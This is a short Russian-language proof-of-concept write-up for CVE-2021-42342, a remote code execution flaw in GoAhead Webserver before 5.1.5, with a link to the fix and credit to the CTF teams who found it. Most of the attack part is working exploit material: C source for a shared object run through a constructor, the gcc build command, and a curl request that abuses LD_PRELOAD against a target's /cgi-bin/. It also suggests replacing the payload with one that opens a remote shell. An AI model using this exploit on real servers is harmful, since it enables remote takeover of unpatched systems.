
Небольшой PoC для недавней RCE, обнаруженной в Goahead Webserver до версии 5.1.5.
Недавняя ошибка в Goahead Webserver была обнаружена William Bowling, которая приводит к RCE на эксплуатируемом сервере.
Проблема существует в версиях до 5.1.5, которая, согласно Shodan, охватывает около 2,8 млн серверов в интернете.
CVS теперь доступен по адресу [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
RCE возникает из-за того, что если фильтр загрузки файлов включен, то пользователь может загружать файлы и одновременно устанавливать переменные формы пользователя.
Эти переменные становятся переменными окружения ОС. Обычно это не является проблемой, так как в обычных случаях загрузки формы переменные окружения получают префикс CGI_ (по умолчанию). Однако, если фильтр загрузки файлов включен, то ошибка в коде приводит к тому, что этот префикс опускается = мгновенное RCE через переменные окружения + файл.
Следующий код просто выведет "Hellow World" на удаленном сервере, но может быть чем угодно:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
Скомпилируйте с помощью:
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
теперь мы готовы отправить наш файл на сервер. Это можно сделать с помощью curl:
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
измените [TARGET] на домен/IP целевого сервера.
Вероятно, вы увидите ошибку от сервера, но попробуйте с другим shared object, который, например, свяжется с вами с помощью красивой оболочки 👍
Исправление вышло с goahead 5.1.5 здесь: [https://github.com/embedthis/goahead/issues/305]
Проблема была первоначально обнаружена Willian Bowling из команды Perfect Blue CTF. Во время pbCTF 2021 задачей была существовавшая на тот момент версия (5.1.4) сервера goahead, и вместе с Kalmarunionen CTF Team мы наткнулись на ту же 0day проблему в коде (еще не раскрытую авторам).